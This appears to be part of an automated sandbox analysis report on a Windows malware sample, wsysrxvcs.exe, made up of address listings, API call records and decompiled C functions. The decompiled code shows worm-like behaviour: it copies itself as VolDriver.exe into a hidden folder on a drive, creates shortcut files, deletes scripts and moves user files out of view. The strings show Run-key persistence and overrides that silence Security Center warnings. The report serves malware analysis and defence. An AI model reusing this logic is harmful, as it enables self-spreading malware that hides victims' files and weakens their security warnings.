                                                                                                                                                                                                                                                                                                                                                      0x0040626d
                                                                                                                                                                                                                                                                                                                                                      0x0040628c
                                                                                                                                                                                                                                                                                                                                                      0x004062ab
                                                                                                                                                                                                                                                                                                                                                      0x004062ca
                                                                                                                                                                                                                                                                                                                                                      0x004062e9
                                                                                                                                                                                                                                                                                                                                                      0x00406308
                                                                                                                                                                                                                                                                                                                                                      0x00406327
                                                                                                                                                                                                                                                                                                                                                      0x00406346
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x00406353
                                                                                                                                                                                                                                                                                                                                                      0x0040635e
                                                                                                                                                                                                                                                                                                                                                      0x0040636e
                                                                                                                                                                                                                                                                                                                                                      0x00406380
                                                                                                                                                                                                                                                                                                                                                      0x00406397
                                                                                                                                                                                                                                                                                                                                                      0x004063b1
                                                                                                                                                                                                                                                                                                                                                      0x004063c9
                                                                                                                                                                                                                                                                                                                                                      0x004063d4
                                                                                                                                                                                                                                                                                                                                                      0x004063e9
                                                                                                                                                                                                                                                                                                                                                      0x004063f4
                                                                                                                                                                                                                                                                                                                                                      0x00406409
                                                                                                                                                                                                                                                                                                                                                      0x00406414
                                                                                                                                                                                                                                                                                                                                                      0x0040641a
                                                                                                                                                                                                                                                                                                                                                      0x00406424
                                                                                                                                                                                                                                                                                                                                                      0x00406437
                                                                                                                                                                                                                                                                                                                                                      0x00406441
                                                                                                                                                                                                                                                                                                                                                      0x0040644b
                                                                                                                                                                                                                                                                                                                                                      0x00406450
                                                                                                                                                                                                                                                                                                                                                      0x00406468
                                                                                                                                                                                                                                                                                                                                                      0x00406484
                                                                                                                                                                                                                                                                                                                                                      0x004064a0
                                                                                                                                                                                                                                                                                                                                                      0x004064bb
                                                                                                                                                                                                                                                                                                                                                      0x004064c0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004064c7
                                                                                                                                                                                                                                                                                                                                                      0x00405ede
                                                                                                                                                                                                                                                                                                                                                      0x00405ef9
                                                                                                                                                                                                                                                                                                                                                      0x00405f17
                                                                                                                                                                                                                                                                                                                                                      0x00405f1d
                                                                                                                                                                                                                                                                                                                                                      0x00405f36
                                                                                                                                                                                                                                                                                                                                                      0x00406015
                                                                                                                                                                                                                                                                                                                                                      0x0040601a
                                                                                                                                                                                                                                                                                                                                                      0x00406038
                                                                                                                                                                                                                                                                                                                                                      0x0040603e
                                                                                                                                                                                                                                                                                                                                                      0x00406057
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406066
                                                                                                                                                                                                                                                                                                                                                      0x0040608c
                                                                                                                                                                                                                                                                                                                                                      0x00406117
                                                                                                                                                                                                                                                                                                                                                      0x0040611e
                                                                                                                                                                                                                                                                                                                                                      0x00406123
                                                                                                                                                                                                                                                                                                                                                      0x0040612c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406130
                                                                                                                                                                                                                                                                                                                                                      0x00406098
                                                                                                                                                                                                                                                                                                                                                      0x004060a7
                                                                                                                                                                                                                                                                                                                                                      0x004060ad
                                                                                                                                                                                                                                                                                                                                                      0x004060b6
                                                                                                                                                                                                                                                                                                                                                      0x004060bd
                                                                                                                                                                                                                                                                                                                                                      0x004060c4
                                                                                                                                                                                                                                                                                                                                                      0x004060dc
                                                                                                                                                                                                                                                                                                                                                      0x00406104
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00406111
                                                                                                                                                                                                                                                                                                                                                      0x00405f45
                                                                                                                                                                                                                                                                                                                                                      0x00405f6b
                                                                                                                                                                                                                                                                                                                                                      0x00405ff6
                                                                                                                                                                                                                                                                                                                                                      0x00405ffd
                                                                                                                                                                                                                                                                                                                                                      0x00406002
                                                                                                                                                                                                                                                                                                                                                      0x0040600b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x0040600f
                                                                                                                                                                                                                                                                                                                                                      0x00405f77
                                                                                                                                                                                                                                                                                                                                                      0x00405f86
                                                                                                                                                                                                                                                                                                                                                      0x00405f8c
                                                                                                                                                                                                                                                                                                                                                      0x00405f95
                                                                                                                                                                                                                                                                                                                                                      0x00405f9c
                                                                                                                                                                                                                                                                                                                                                      0x00405fa3
                                                                                                                                                                                                                                                                                                                                                      0x00405fbb
                                                                                                                                                                                                                                                                                                                                                      0x00405fe3
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ff0
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405ee2
                                                                                                                                                                                                                                                                                                                                                      0x00405e6e
                                                                                                                                                                                                                                                                                                                                                      0x00405e74
                                                                                                                                                                                                                                                                                                                                                      0x00405e78
                                                                                                                                                                                                                                                                                                                                                      0x00405e85
                                                                                                                                                                                                                                                                                                                                                      0x00405e89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405e8b
                                                                                                                                                                                                                                                                                                                                                      0x00405e92
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405ea1
                                                                                                                                                                                                                                                                                                                                                      0x00405eaf
                                                                                                                                                                                                                                                                                                                                                      0x00405eb1
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405eb4
                                                                                                                                                                                                                                                                                                                                                      0x00405db8

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000007D0), ref: 00405D8E
                                                                                                                                                                                                                                                                                                                                                      • CreateMutexA.KERNELBASE(00000000,00000000,9998883922), ref: 00405D9D
                                                                                                                                                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 00405DA9
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405DB8
                                                                                                                                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,00415290,00000105), ref: 00405DDE
                                                                                                                                                                                                                                                                                                                                                      • PathFindFileNameW.SHLWAPI(00415290), ref: 00405DE9
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00405E06
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 00405E16
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405E2D
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 00405EE2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$9998883922$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$wsysrxvcs.exe
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2615208688-471770540
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 68ac34e3a430e32659a09d984d943cd0ad12ec65f38ab046504ce10b2a1d2482
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: df607d003a590471f88021bec4645f04bb3b1272e335fdeb7a0c043ab3de40b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 68ac34e3a430e32659a09d984d943cd0ad12ec65f38ab046504ce10b2a1d2482
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7121EB5A80318ABE7309B90DC4AFDA7774AB48B05F1081A5F309BA1D1D7B46AC48F5D
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00404F30 Relevance: 73.8, APIs: 32, Strings: 10, Instructions: 293fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 63 404f30-404f45 _chkstk 64 404f47-404f49 63->64 65 404f4e-405000 wsprintfW * 5 PathFileExistsW 63->65 68 405405-405408 64->68 66 405002-405023 call 40d070 65->66 67 405044-405053 PathFileExistsW 65->67 66->67 77 405025-40503e SetFileAttributesW DeleteFileW 66->77 70 4050c0-4050cf PathFileExistsW 67->70 71 405055-405064 PathFileExistsW 67->71 75 4050d1-4050d7 70->75 76 405116-405137 FindFirstFileW 70->76 73 405066-405077 CreateDirectoryW 71->73 74 405088-405097 PathFileExistsW 71->74 73->74 80 405079-405082 SetFileAttributesW 73->80 74->70 81 405099-4050af CopyFileW 74->81 82 4050f1-405104 call 404ce0 75->82 83 4050d9-4050ef call 404ce0 75->83 78 40513d-4051f5 76->78 79 4053ff 76->79 77->67 85 4051ff-405213 lstrcmpW 78->85 79->68 80->74 81->70 86 4050b1-4050ba SetFileAttributesW 81->86 92 405107-405110 SetFileAttributesW 82->92 83->92 89 405215-405229 lstrcmpW 85->89 90 40522b 85->90 86->70 89->90 93 405230-405241 89->93 94 4053d6-4053ec FindNextFileW 90->94 92->76 95 405252-405259 93->95 96 405243-40524c 93->96 94->85 97 4053f2-4053f9 FindClose 94->97 98 405287-405290 95->98 99 40525b-405278 lstrcmpiW 95->99 96->95 97->79 102 405292 98->102 103 405297-4052a8 98->103 100 40527a 99->100 101 40527c-405283 99->101 100->96 101->98 102->94 104 4052b9-4052c0 103->104 105 4052aa-4052b3 103->105 106 405330-405339 104->106 107 4052c2-4052df PathMatchSpecW 104->107 105->104 108 405340-40534f PathFileExistsW 106->108 109 40533b 106->109 110 4052e1 107->110 111 4052e3-405329 wsprintfW SetFileAttributesW DeleteFileW 107->111 112 405351 108->112 113 405356-4053a6 wsprintfW * 2 108->113 109->94 110->105 111->106 112->94 114 4053c0-4053d0 MoveFileExW 113->114 115 4053a8-4053be call 404df0 113->115 114->94 115->94
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404F30(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040ECFA();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x41411c;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D070( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x414c70; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x414c78,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404CE0( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404CE0( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404DF0( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}












































                                                                                                                                                                                                                                                                                                                                                      0x00404f38
                                                                                                                                                                                                                                                                                                                                                      0x00404f45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404f47
                                                                                                                                                                                                                                                                                                                                                      0x00404f4e
                                                                                                                                                                                                                                                                                                                                                      0x00404f58
                                                                                                                                                                                                                                                                                                                                                      0x00404f6f
                                                                                                                                                                                                                                                                                                                                                      0x00404f8f
                                                                                                                                                                                                                                                                                                                                                      0x00404faf
                                                                                                                                                                                                                                                                                                                                                      0x00404fcf
                                                                                                                                                                                                                                                                                                                                                      0x00404fe8
                                                                                                                                                                                                                                                                                                                                                      0x00404fee
                                                                                                                                                                                                                                                                                                                                                      0x00405000
                                                                                                                                                                                                                                                                                                                                                      0x00405009
                                                                                                                                                                                                                                                                                                                                                      0x0040500e
                                                                                                                                                                                                                                                                                                                                                      0x00405011
                                                                                                                                                                                                                                                                                                                                                      0x00405017
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405031
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405053
                                                                                                                                                                                                                                                                                                                                                      0x00405064
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050cf
                                                                                                                                                                                                                                                                                                                                                      0x004050d7
                                                                                                                                                                                                                                                                                                                                                      0x004050ff
                                                                                                                                                                                                                                                                                                                                                      0x00405104
                                                                                                                                                                                                                                                                                                                                                      0x004050d9
                                                                                                                                                                                                                                                                                                                                                      0x004050e7
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x0040512a
                                                                                                                                                                                                                                                                                                                                                      0x00405137
                                                                                                                                                                                                                                                                                                                                                      0x004053ff
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x00405147
                                                                                                                                                                                                                                                                                                                                                      0x00405151
                                                                                                                                                                                                                                                                                                                                                      0x0040515b
                                                                                                                                                                                                                                                                                                                                                      0x00405165
                                                                                                                                                                                                                                                                                                                                                      0x0040516f
                                                                                                                                                                                                                                                                                                                                                      0x00405179
                                                                                                                                                                                                                                                                                                                                                      0x00405183
                                                                                                                                                                                                                                                                                                                                                      0x0040518d
                                                                                                                                                                                                                                                                                                                                                      0x00405197
                                                                                                                                                                                                                                                                                                                                                      0x004051a1
                                                                                                                                                                                                                                                                                                                                                      0x004051ab
                                                                                                                                                                                                                                                                                                                                                      0x004051b5
                                                                                                                                                                                                                                                                                                                                                      0x004051c5
                                                                                                                                                                                                                                                                                                                                                      0x004051d1
                                                                                                                                                                                                                                                                                                                                                      0x004051d7
                                                                                                                                                                                                                                                                                                                                                      0x004051e1
                                                                                                                                                                                                                                                                                                                                                      0x004051eb
                                                                                                                                                                                                                                                                                                                                                      0x004051f5
                                                                                                                                                                                                                                                                                                                                                      0x004051ff
                                                                                                                                                                                                                                                                                                                                                      0x00405213
                                                                                                                                                                                                                                                                                                                                                      0x00405230
                                                                                                                                                                                                                                                                                                                                                      0x00405237
                                                                                                                                                                                                                                                                                                                                                      0x00405252
                                                                                                                                                                                                                                                                                                                                                      0x00405278
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x00405290
                                                                                                                                                                                                                                                                                                                                                      0x00405297
                                                                                                                                                                                                                                                                                                                                                      0x0040529e
                                                                                                                                                                                                                                                                                                                                                      0x004052b9
                                                                                                                                                                                                                                                                                                                                                      0x004052df
                                                                                                                                                                                                                                                                                                                                                      0x004052fa
                                                                                                                                                                                                                                                                                                                                                      0x00405300
                                                                                                                                                                                                                                                                                                                                                      0x0040530f
                                                                                                                                                                                                                                                                                                                                                      0x0040531c
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x0040536d
                                                                                                                                                                                                                                                                                                                                                      0x00405394
                                                                                                                                                                                                                                                                                                                                                      0x0040539a
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x004053d0
                                                                                                                                                                                                                                                                                                                                                      0x004053a8
                                                                                                                                                                                                                                                                                                                                                      0x004053b6
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x00405292
                                                                                                                                                                                                                                                                                                                                                      0x004053d6
                                                                                                                                                                                                                                                                                                                                                      0x004053ea
                                                                                                                                                                                                                                                                                                                                                      0x004053f9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004053f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • _chkstk.NTDLL(?,00405580,?,?,?), ref: 00404F38
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F6F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404F8F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FAF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FCF
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 00404FE8
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 00404FF8
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000080), ref: 00405031
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040503E
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040504B
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040505C
                                                                                                                                                                                                                                                                                                                                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 0040506F
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 00405082
                                                                                                                                                                                                                                                                                                                                                      • PathFileExistsW.SHLWAPI(?), ref: 0040508F
                                                                                                                                                                                                                                                                                                                                                      • CopyFileW.KERNEL32(00414C78,?,00000000), ref: 004050A7
                                                                                                                                                                                                                                                                                                                                                      • SetFileAttributesW.KERNEL32(?,00000002), ref: 004050BA
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
                                                                                                                                                                                                                                                                                                                                                      • String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3833403615-1812021906
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 750ad7f2b2d818bb56bb1e1aefa63b4f363d283544065ae8c355abf3b895641d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ca6c75ffb9d41e49a55f49a0fe5d253605e4563a897bb97b030352e93aa939b2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7D170B4900218ABCB20DF50DC48BEA77B8FF44344F4485EAF509A6291D7B99BD4CF59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404DF0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 523 404df0-404e3f CreateDirectoryW wsprintfW FindFirstFileW 524 404e45-404e59 lstrcmpW 523->524 525 404f1f-404f22 523->525 526 404e71 524->526 527 404e5b-404e6f lstrcmpW 524->527 529 404eec-404f02 FindNextFileW 526->529 527->526 528 404e73-404ebc wsprintfW * 2 527->528 531 404ed6-404ee6 MoveFileExW 528->531 532 404ebe-404ed4 call 404df0 528->532 529->524 530 404f08-404f19 FindClose RemoveDirectoryW 529->530 530->525 531->529 532->529
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404DF0(WCHAR* _a4, WCHAR* _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				CreateDirectoryW(_a8, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						wsprintfW( &_v2164, L"%s\\%s", _a8,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404DF0( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}











                                                                                                                                                                                                                                                                                                                                                      0x00404dff
                                                                                                                                                                                                                                                                                                                                                      0x00404e15
